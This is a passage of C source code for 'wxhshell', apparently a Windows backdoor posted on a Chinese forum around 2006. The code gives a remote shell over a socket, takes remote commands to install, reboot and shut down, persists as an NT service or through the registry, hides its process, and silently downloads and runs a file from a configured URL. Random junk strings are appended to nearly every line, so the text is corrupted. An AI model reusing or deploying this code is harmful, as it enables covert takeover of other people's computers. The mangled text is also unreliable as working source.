      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mBIksts5h  
    break; P^o@x,V!&  
  } U/FysN_N!  
  // 安装 54{E&QvL8o  
  case 'i': { UR'v;V&Cb\  
    if(Install()) koB'Zp/FaY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")ys!V9  
    else "3_X$`v"!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t=lDN'\P  
    break; w[a(I} x  
    } 5_A*I C]  
  // 卸载 N/>:})dav  
  case 'r': { ~ !ei]UP  
    if(Uninstall()) "wH(t k4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x7B;\D#`i/  
    else JCxQENsVqB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cZ%tJ(&\7X  
    break; R|@~<*  
    } #^9bBF/  
  // 显示 wxhshell 所在路径 NJJ=ch  
  case 'p': { %,$xmoj9O]  
    char svExeFile[MAX_PATH]; Sv=e|!3f[k  
    strcpy(svExeFile,"\n\r"); #n&/v'!\  
      strcat(svExeFile,ExeFile); y?cN  
        send(wsh,svExeFile,strlen(svExeFile),0); 0.m-}  
    break; f0@*>  
    } #6~KO7}  
  // 重启 7.2G}O6$  
  case 'b': { RKzO$T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZxO o&YR3  
    if(Boot(REBOOT)) {zd[8TJ~xa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +DQUL|\  
    else { P,zQl;  
    closesocket(wsh); /7#MJH5b6  
    ExitThread(0); :}36;n<['  
    } {1=|H$wKg  
    break; %4` U' j  
    } O\uIIuy  
  // 关机 {tYY _BI<  
  case 'd': { $S>bcsAy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *Mg@j;+5s  
    if(Boot(SHUTDOWN)) ).HA #!SE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); He8]Eb  
    else { d<Lc&wlP  
    closesocket(wsh); RU#}!Kq  
    ExitThread(0); ;d>n2  
    } Yt=)=n  
    break; Bi9Q8#lh  
    } g/l:q&Q<  
  // 获取shell XXm7rn  
  case 's': { " ;Cf@}i>  
    CmdShell(wsh); Fa`%MR1  
    closesocket(wsh); Tei2[siA5  
    ExitThread(0); q%M~gp1  
    break; W'Ew!]Q3  
  } ]}Ys4(}  
  // 退出 # B <%  
  case 'x': { -Sh&x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2\&3x} @  
    CloseIt(wsh); s[eSPSFZ  
    break; Q%~BD@Io  
    } 67/\0mV:~  
  // 离开 xC5Pv">  
  case 'q': { (!b)<V*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !\VEUF,K?  
    closesocket(wsh); s% rmfIp"  
    WSACleanup(); MrUjqv6a[  
    exit(1); =!DX,S7  
    break; [So1`IA6  
        } n>,GmCo  
  } m<#^c?u  
  } atd;)o0*0  
|_g7k2oLY  
  // 提示信息 T9J&^I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E;`^`T40  
} ]jI<Js* F  
  } G2y1S/  
rS!@AgPLE  
  return; *MlEfmB(  
} PepR ]ym  
g/68& M  
// shell模块句柄 gREk,4DAv  
int CmdShell(SOCKET sock) s5G`?/  
{ }^Sk.:;n3  
STARTUPINFO si; MBjAe!,-  
ZeroMemory(&si,sizeof(si)); w*~s&7c2B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `#<UsU,~Lu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |RD )pvVM  
PROCESS_INFORMATION ProcessInfo; R#YeE`K  
char cmdline[]="cmd"; X}]A_G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OqRRf  
  return 0; ]zAwKuIK  
} u{HO6 s\S  
yK&  
// 自身启动模式 Ad,n+%"e  
int StartFromService(void) H)S!%(x4  
{ B#IUSHC  
typedef struct &RbP N^  
{ yFeFI@Hp 3  
  DWORD ExitStatus; { 7DXSe4  
  DWORD PebBaseAddress; a-S tOO5s  
  DWORD AffinityMask; IIT[^_g  
  DWORD BasePriority; /9gn)q2f(  
  ULONG UniqueProcessId; 8PVjNS/  
  ULONG InheritedFromUniqueProcessId; !U}2YM J  
}   PROCESS_BASIC_INFORMATION; f34/whD65  
(f_YgQEL  
PROCNTQSIP NtQueryInformationProcess; | @ ut/  
[aA@V0l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fwA8=o SZd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L58#ri=  
lw~ V  
  HANDLE             hProcess; Xm|~1 k_3  
  PROCESS_BASIC_INFORMATION pbi; ){)-}M  
F7j/Zuj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tw.GBR  
  if(NULL == hInst ) return 0; *aS+XnT/  
jTg~]PQ^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5_](N$$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d^M*%az  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !x ~s`z  
"P|n'Mx  
  if (!NtQueryInformationProcess) return 0; WvArppANo  
5oCg&aT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~4=*kJ#7  
  if(!hProcess) return 0; RR:%"4M  
mj9sX^$ dE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XC;Icr)  
gjz-CY.hz  
  CloseHandle(hProcess); _()1 "5{  
g-UCvY I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hQY`7m>L  
if(hProcess==NULL) return 0; `V<jt5TS  
]&P\|b1*g  
HMODULE hMod; + a nsN~3  
char procName[255]; a:l-cZ/!  
unsigned long cbNeeded; 7$g$p&,VX  
w1-P6cf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K,! V _  
Z- a  
  CloseHandle(hProcess); h/|p`MP\1  
Pf,@U'f|  
if(strstr(procName,"services")) return 1; // 以服务启动 d8agM/F*/  
6| B9kh}  
  return 0; // 注册表启动 1,) yEeHjU  
} >w7KOVbN3  
 iKd+AzT  
// 主模块 V7nOT*N:Q  
int StartWxhshell(LPSTR lpCmdLine) l"}_+5  
{ 1,;zX^  
  SOCKET wsl; _iq62[i3^  
BOOL val=TRUE; qF `6l(  
  int port=0; =z"+)N  
  struct sockaddr_in door; jZkc yx  
ti%RE:*  
  if(wscfg.ws_autoins) Install(); %aw.o*@:  
gELG/6l  
port=atoi(lpCmdLine); kD;pj3o&"2  
^Z;zA@[wt  
if(port<=0) port=wscfg.ws_port; \ B84  
ZfqN4  
  WSADATA data; 6MY<6t0a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hchG\ i  
m#8[")a$"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vaP`'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X|Y(*$?D7  
  door.sin_family = AF_INET; Ky%lu^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9-{=m+|b  
  door.sin_port = htons(port); o.fqJfpj  
m Rw0R{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EV{Ys}3M  
closesocket(wsl); (oX!D(OI  
return 1; =(7nl#o  
} J@$~q}iG  
!*"fWahv  
  if(listen(wsl,2) == INVALID_SOCKET) { aif;h! ?y  
closesocket(wsl); /A-WI x  
return 1; a= j'G]=  
} u)<s*jk  
  Wxhshell(wsl); -c0ypz  
  WSACleanup(); 7>j~;p{  
5a_8`csu  
return 0; PgK7CG7G  
]r|oNGD)G  
} :[_ms d  
1 rhZlmf[r  
// 以NT服务方式启动 "t.` /4R2w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q {Z#}|km#  
{ < z2wt  
DWORD   status = 0; A)C)5W  
  DWORD   specificError = 0xfffffff; @lE'D":?  
/ }$n_N\!)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;50&s .gZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,n8\y9{G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sNo8o1Hby  
  serviceStatus.dwWin32ExitCode     = 0; i}DS+~8v  
  serviceStatus.dwServiceSpecificExitCode = 0; kc^,V|Nbq6  
  serviceStatus.dwCheckPoint       = 0; @pYEzizP7  
  serviceStatus.dwWaitHint       = 0; iI IXv  
'v V7@@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PZusYeV8b  
  if (hServiceStatusHandle==0) return; *l+Dbm,u  
+ tMf&BZ  
status = GetLastError(); \$w kr  
  if (status!=NO_ERROR) s||" } l  
{ :NF4[c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,?|$DY+=  
    serviceStatus.dwCheckPoint       = 0; ^HJ?k:u  
    serviceStatus.dwWaitHint       = 0; WrGnLE kiV  
    serviceStatus.dwWin32ExitCode     = status; Mq Ai}z%  
    serviceStatus.dwServiceSpecificExitCode = specificError; vW=L{8zu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Ckx.m&  
    return; jhm??Af  
  } m<-ShRr*b  
I} jgz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z6Ob X  
  serviceStatus.dwCheckPoint       = 0; Ck Nl;g l  
  serviceStatus.dwWaitHint       = 0; }<0N)dpT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xv-p7$?f  
} ;Nj9,Va(t  
aE`d[d SG  
// 处理NT服务事件,比如:启动、停止 + GI906K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q< :RLKVT  
{ u##th8h4U  
switch(fdwControl) T^1 Z_|A  
{ 8#7qHT;cx  
case SERVICE_CONTROL_STOP: + t5SrO!`  
  serviceStatus.dwWin32ExitCode = 0; Z]]Ur  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4D0jt$==  
  serviceStatus.dwCheckPoint   = 0; x)~i`$  
  serviceStatus.dwWaitHint     = 0; {p84fR1P  
  { t R|dnC4U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9RJF  
  } h)HEexyRg  
  return; Kgu8E:nL  
case SERVICE_CONTROL_PAUSE: sCFxn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i3,IEN  
  break; +P2oQ_Fk`9  
case SERVICE_CONTROL_CONTINUE: !5o j~H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e|\xF V=4  
  break; gA!@oiq@  
case SERVICE_CONTROL_INTERROGATE: i7Up AHd/  
  break; }uZs)UQ|$  
}; y QW7ng7D0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \l~^dn}  
} f82%nT  
[k6I#v<&  
// 标准应用程序主函数 SeD}H=,@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CF '&Yo  
{ C!VhVOy>d  
Qn!mS[l  
// 获取操作系统版本 l;lrf3  
OsIsNt=GetOsVer(); G#n 4g :K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0X=F(,>9  
J-v1"7[2GC  
  // 从命令行安装 XM rk2]_  
  if(strpbrk(lpCmdLine,"iI")) Install(); U)/.wa>  
<.6rl  
  // 下载执行文件 B.q/}\ ?(  
if(wscfg.ws_downexe) { Ktq4b%{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hx:q@[ +J/  
  WinExec(wscfg.ws_filenam,SW_HIDE); Re,;$_6o  
} /;*_[g5*i  
DiFYVR<@  
if(!OsIsNt) { }KI/fh  
// 如果时win9x,隐藏进程并且设置为注册表启动 %F;BL8d  
HideProc(); =nhY;pY3u  
StartWxhshell(lpCmdLine); [7Lr"  
} dHc\M|HCC  
else +OE!Uqnt  
  if(StartFromService()) !D#"+&&G8  
  // 以服务方式启动 hmu>s'  
  StartServiceCtrlDispatcher(DispatchTable); 7Y5r3a}%  
else [.gk{> #  
  // 普通方式启动 ngo> ^9/8  
  StartWxhshell(lpCmdLine); n)e2?  
LhJUoX  
return 0; vI{aF- #  
}
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只看该作者 1 发表于: 2006-10-10
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